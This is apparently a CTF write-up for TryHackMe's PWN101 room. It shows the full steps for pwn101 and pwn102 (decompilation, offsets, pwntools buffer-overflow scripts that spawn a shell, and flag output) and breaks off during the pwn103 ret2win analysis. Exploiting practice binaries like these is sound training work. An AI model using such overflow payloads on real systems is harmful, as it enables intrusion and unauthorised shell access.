sec👨‍💻fortress:~#

Defensive By Offensive!.

View on GitHub

PWN101 TryHackMe

Binary Exploitation

Challenge 1 = PWN101

Basic File Checks

└─$ file pwn101.pwn101 
pwn101.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped
                                                                                                                                                                                                                   
┌──(venv)─(mark㉿haxor)-[~/Desktop/B2B/THM/Pwn101]
└─$ checksec pwn101.pwn101 
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn101.pwn101'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We’re working with a x64 binary and it has all protections enabled except Stack Canary

I’ll run it to know what it does

└─$ ./pwn101.pwn101 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 101          

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani: 
lol
Nah bruh, you lied me :(
She did Tomato rice instead of briyani :/

It receives our input and exit

I’ll decompile the binary using ghidra

Here’s the main decomiled function

void main(void)

{
  char input [60];
  int check;
  
  check = 0x539;
  setup();
  banner();
  puts(
      "Hello!, I am going to shopping.\nMy mom told me to buy some ingredients.\nUmmm.. But I have l ow memory capacity, So I forgot most of them.\nAnyway, she is preparing Briyani for lunch, Can  you help me to buy those items :D\n"
      );
  puts("Type the required ingredients to make briyani: ");
  gets(input);
  if (check == 0x539) {
    puts("Nah bruh, you lied me :(\nShe did Tomato rice instead of briyani :/");
                    /* WARNING: Subroutine does not return */
    exit(0x539);
  }
  puts("Thanks, Here\'s a small gift for you <3");
  system("/bin/sh");
  return;
}

Looking at the code we see what it does

1. It stores a value 0x539 in the variable check
2. It prints out the banner and requires out input
3. It uses get() to receive our input #bug here
4. Does an if check to know if the value stored in variable check is equal to 0x539
5. If the condition is meet it exits
6. If it isn't meet we get shell

So the aim is to overwrite the value stored in variable check not to be equal to 0x539

Since get() is being used to receive input we can cause a buffer overflow in this binary

Here’s the stack layout

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         AL:1           <RETURN>
             undefined4        Stack[-0xc]:4  check                                   XREF[2]:     00100896(W), 
                                                                                                   001008da(R)  
             undefined1[60]    Stack[-0x48]   input                                   XREF[1]:     001008c9(*)  
                             main                                            XREF[4]:     Entry Point(*), 
                                                                                          _start:0010072d(*), 00100c7c, 

From the stack layout we see that our input starts at offset 0x48 and the check variable is 0xc

The offset between the input and check variable is 0x48 - 0xc = 0x3c

Solve script available at Exploit

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Binary filename
exe = './pwn101.pwn101'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

offset = 0x3c
padding = "A" * offset 
check = 0xdeadbeef

# Build the payload
payload = flat([
    padding,
    check
])

# Send the payload
io.sendline(payload)

# Got Shell?
io.interactive()

So what the script does is that it overwrite the value stored in check to 0xdeadeef

Running it locally grants us shell

└─$ python3 exploit.py
[+] Starting local process './pwn101.pwn101': pid 18034
[*] Switching to interactive mode
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 101          

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani: 
Thanks, Here's a small gift for you <3
$ ls -al
total 28
drwxr-xr-x 2 mark mark  4096 Feb 14 15:44 .
drwxr-xr-x 3 mark mark  4096 Feb 14 15:44 ..
-rw-r--r-- 1 mark mark  1032 Feb 14 15:44 exploit.py
-rwxr-xr-x 1 mark mark 12760 Feb 14 15:30 pwn101.pwn101
$ 

It works now i’ll run it on the remote server

└─$ python3 exploit.py REMOTE 10.10.210.174  9001
[+] Opening connection to 10.10.210.174 on port 9001: Done
[*] Switching to interactive mode
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 101          

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani: 
Thanks, Here's a small gift for you <3
$ ls -al
total 48
drwx------  3 pwn101 pwn101  4096 Feb  8  2022 .
drwxr-xr-x 12 root   root    4096 Feb  8  2022 ..
lrwxrwxrwx  1 pwn101 pwn101     9 Feb  8  2022 .bash_history -> /dev/null
-rw-r--r--  1 pwn101 pwn101   220 Apr  4  2018 .bash_logout
-rw-r--r--  1 pwn101 pwn101  3771 Apr  4  2018 .bashrc
drwxrwxr-x  3 pwn101 pwn101  4096 Feb  8  2022 .local
-rw-r--r--  1 pwn101 pwn101   807 Apr  4  2018 .profile
-rwxrwxrwx  1 pwn101 pwn101    32 Jan 28  2022 flag.txt
-rwxrwxr-x  1 pwn101 pwn101 12760 Feb  8  2022 pwn101
-rwxrwxrwx  1 pwn101 pwn101  1137 Feb  8  2022 pwn101.c
$ cat flag.txt
THM{7h4t's_4n_3zy_oveRflowwwww}
$

Challenge 2 = PWN102

Basic File Checks

└─$ file pwn102.pwn102 
pwn102.pwn102: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2612b87a7803e0a8af101dc39d860554c652d165, not stripped
                                                                                                                                                                                                                   
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn102]
└─$ checksec pwn102.pwn102
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn102/pwn102.pwn102'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We’re working with a x64 binary which has all protections enabled except Stack Canary

I’ll run it to get an overview of what it does

 └─$ ./pwn102.pwn102 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 102          

I need badf00d to fee1dead
Am I right? yes
I'm feeling dead, coz you said I need bad food :(

It receives our input and exit

I’ll decompile the binary using ghidra

Here’s the main decomiled function

void main(void)

{
  undefined input [104];
  int check2;
  int check1;
  
  setup();
  banner();
  check1 = 0xbadf00d;
  check2 = L'\xfee1dead';
  printf("I need %x to %x\nAm I right? ",0xbadf00d,L'\xfee1dead');
  __isoc99_scanf(&DAT_00100b66,input);
  if ((check1 == 0xc0ff33) && (check2 == 0xc0d3)) {
    printf("Yes, I need %x to %x\n",0xc0ff33,0xc0d3);
    system("/bin/sh");
    return;
  }
  puts("I\'m feeling dead, coz you said I need bad food :(");
                    /* WARNING: Subroutine does not return */
  exit(0x539);
}

Looking at the code we get what it does

1. It stores 0xbadf00d in check1 and 0xfee1dead in check2
2. It receives our input using scanf but doesn't specify amount of bytes that should be stored in the input buffer
3. After it receives our input it does an if check to know if the value stored in check1 is equal to 0xc0ff33 and if check2 is equal to 0xc0d3
4. If the check is passed we get a shell
5. Else it exits

So with this we know that we’re working with a variable overwrite

Here’s the stack layout

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         AL:1           <RETURN>
             undefined4        Stack[-0xc]:4  check1                                  XREF[4]:     0010091a(W), 
                                                                                                   0010092b(R), 
                                                                                                   00100959(R), 
                                                                                                   0010096e(R)  
             undefined4        Stack[-0x10]:4 check2                                  XREF[4]:     00100921(W), 
                                                                                                   00100928(R), 
                                                                                                   00100962(R), 
                                                                                                   0010096b(R)  
             undefined1[104]   Stack[-0x78]   input                                   XREF[1]:     00100941(*)  
                             main                                            XREF[4]:     Entry Point(*), 
                                                                                          _start:0010079d(*), 00100bf0, 

We see that:

1. Input starts at offset 0x78
2. Check1 variable is at offset 0xc
3. Check2 variable is at offset 0x10

With this we know that the offset between the input buffer and check2 is 0x68 and the offset between the check2 and check1 is 0x5c

Here’s the exploit script that overwrites the value stored in the check variables

Solve script available at Exploit

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Binary filename
exe = './pwn102.pwn102'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

offset = 0x68

padding = b"A" * offset
check2 = p32(0xc0d3)
check1  = p32(0xc0ff33)

payload = padding + check2 + check1

# Send the payload
io.sendline(payload)

# Got Shell?
io.interactive()

Running it locally works

└─$ python3 exploit.py
[+] Starting local process './pwn102.pwn102': pid 31962
[*] Switching to interactive mode
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 102          

I need badf00d to fee1dead
Am I right? Yes, I need c0ff33 to c0d3
$ ls -al
total 24
drwxr-xr-x 2 mark mark 4096 Feb 14 16:37 .
drwxr-xr-x 4 mark mark 4096 Feb 14 15:49 ..
-rw-r--r-- 1 mark mark 1032 Feb 14 16:31 exploit.py
-rwxr-xr-x 1 mark mark 8720 Feb 14 15:49 pwn102.pwn102
$ 

Now i’ll run it on the remote server

└─$ python3 exploit.py REMOTE 10.10.210.174 9002      
[+] Opening connection to 10.10.210.174 on port 9002: Done
[*] Switching to interactive mode
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 102          

I need badf00d to fee1dead
Am I right? Yes, I need c0ff33 to c0d3
$ ls -al
total 44
drwx------  3 pwn102 pwn102 4096 Feb  8  2022 .
drwxr-xr-x 12 root   root   4096 Feb  8  2022 ..
lrwxrwxrwx  1 pwn102 pwn102    9 Feb  8  2022 .bash_history -> /dev/null
-rw-r--r--  1 pwn102 pwn102  220 Apr  4  2018 .bash_logout
-rw-r--r--  1 pwn102 pwn102 3771 Apr  4  2018 .bashrc
drwxrwxr-x  3 pwn102 pwn102 4096 Feb  8  2022 .local
-rw-r--r--  1 pwn102 pwn102  807 Apr  4  2018 .profile
-rwxrwxrwx  1 pwn102 pwn102   34 Jan 28  2022 flag.txt
-rwxrwxr-x  1 pwn102 pwn102 8720 Feb  8  2022 pwn102
-rwxrwxrwx  1 pwn102 pwn102  964 Feb  8  2022 pwn102.c
$ cat flag.txt
THM{y3s_1_n33D_C0ff33_to_C0d3_<3}
$

Challenge 3 = PWN103

Basic File Checks

└─$ file pwn103.pwn103
pwn103.pwn103: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3df2200610f5e40aa42eadb73597910054cf4c9f, for GNU/Linux 3.2.0, not stripped
                                                                                                                                                                                                                   
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn103]
└─$ checksec pwn103.pwn103 
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn103/pwn103.pwn103'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

We’re working with a x64 binary which has just NX enabled

I’ll run it to get an overview of what it does

└─$ ./pwn103.pwn103              
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿

  [THM Discord Server]

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨  Choose the channel: 1

📢 Announcements:

A new room is available!
Check it out: https://tryhackme.com/room/binaryexploitation

┌┐ ┬┌┐┌┌─┐┬─┐┬ ┬┌─┐─┐ ┬┌─┐┬  ┌─┐┬┌┬┐┌─┐┌┬┐┬┌─┐┌┐┌
├┴┐││││├─┤├┬┘└┬┘├┤ ┌┴┬┘├─┘│  │ ││ │ ├─┤ │ ││ ││││
└─┘┴┘└┘┴ ┴┴└─ ┴ └─┘┴ └─┴  ┴─┘└─┘┴ ┴ ┴ ┴ ┴ ┴└─┘┘└┘

👾 Beginner level room has some challenges based on stack exploitation

⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿

  [THM Discord Server]

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨  Choose the channel: 2

📜 Rules:

1  Don't ping @everyone 😾
2  Don't rick roll anyone 😒 Rick roll yourself 😎
3  Don't post memes 😑, otherwise you'll become a meme 🤡
4  We know sharing is caring 🤗, But don't share your writeups here lmao🤦♂
5  Respect everyone in our community🤗

⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿                                                                                                                                                                                           
                                                                                                                                                                                                                   
  [THM Discord Server]                                                                                                                                                                                             

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨  Choose the channel: 3

🗣  General:

------[jopraveen]: Hello pwners 👋
------[jopraveen]: Hope you're doing well 😄
------[jopraveen]: You found the vuln, right? 🤔

------[pwner]: yes
------[jopraveen]: GG 😄


⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿                                                                                                                                                                                           
                                                                                                                                                                                                                   
  [THM Discord Server]                                                                                                                                                                                             

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨  Choose the channel: 4

🏠 rooms discussion:

--[Welcome to Room Discussion]--

-----[jopraveen]: Don't post spoilers here 🙂
-----[jopraveen]: Keep the chats relevent to this room 🙂
-----[jopraveen]: Good luck everyone 😄
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿                                                                                                                                                                                           
                                                                                                                                                                                                                   
  [THM Discord Server]                                                                                                                                                                                             

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨  Choose the channel: 5
🤖 Bot commands:

root@pwn101:~/root# lol   
root@pwn101:~/root# lol
root@pwn101:~/root# lol
root@pwn101:~/root# ls
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 

  [THM Discord Server]                                                                                                                                                                                             

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖

Cool we see that its some sort of a program that imitates a discord bot

I’ll decompile the binary using ghidra

Here’s the main function

void main(void)

{
  undefined4 local_c;
  
  setup();
  banner();
  puts(&DAT_00403298);
  puts(&DAT_004032c0);
  puts(&DAT_00403298);
  printf(&DAT_00403323);
  __isoc99_scanf(&DAT_00403340,&local_c);
  switch(local_c) {
  default:
    main();
    break;
  case 1:
    announcements();
    break;
  case 2:
    rules();
    break;
  case 3:
    general();
    break;
  case 4:
    discussion();
    break;
  case 5:
    bot_cmd();
  }
  return;
}

Looking at it shows that its the main menu and it allows us to choose an option. Nothing much in it

After looking through the functions options available i got this one interesting cause it allows user input

Function general()

void general(void)

{
  int iVar1;
  char input [32];
  
  puts(&DAT_004023aa);
  puts(&DAT_004023c0);
  puts(&DAT_004023e8);
  puts(&DAT_00402418);
  printf("------[pwner]: ");
  __isoc99_scanf(&DAT_0040245c,input);
  iVar1 = strcmp(input,"yes");
  if (iVar1 == 0) {
    puts(&DAT_00402463);
    main();
  }
  else {
    puts(&DAT_0040247f);
  }
  return;
}

We see it receives user input using scanf and stores it in an input buffer that can hold up to 32 bytes of data with this we can cause a buffer overflow

Also looking through the functions i get a admins_only() function

void admins_only(void)

{
  puts(&DAT_00403267);
  puts(&DAT_0040327c);
  system("/bin/sh");
  return;
}

It will grant us a shell. So the aim for this challenge is to perform Ret2Win

Now i’ll get the offset needed to overwrite the rip then make the return address call to the admins_only function

┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn103]
└─$ cyclic 100                      
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn103]
└─$ gdb -q pwn103.pwn103
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from pwn103.pwn103...
(No debugging symbols found in pwn103.pwn103)
gef➤  r
Starting program: /home/mark/Desktop/B2B/THM/Pwn101/pwn103/pwn103.pwn103 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
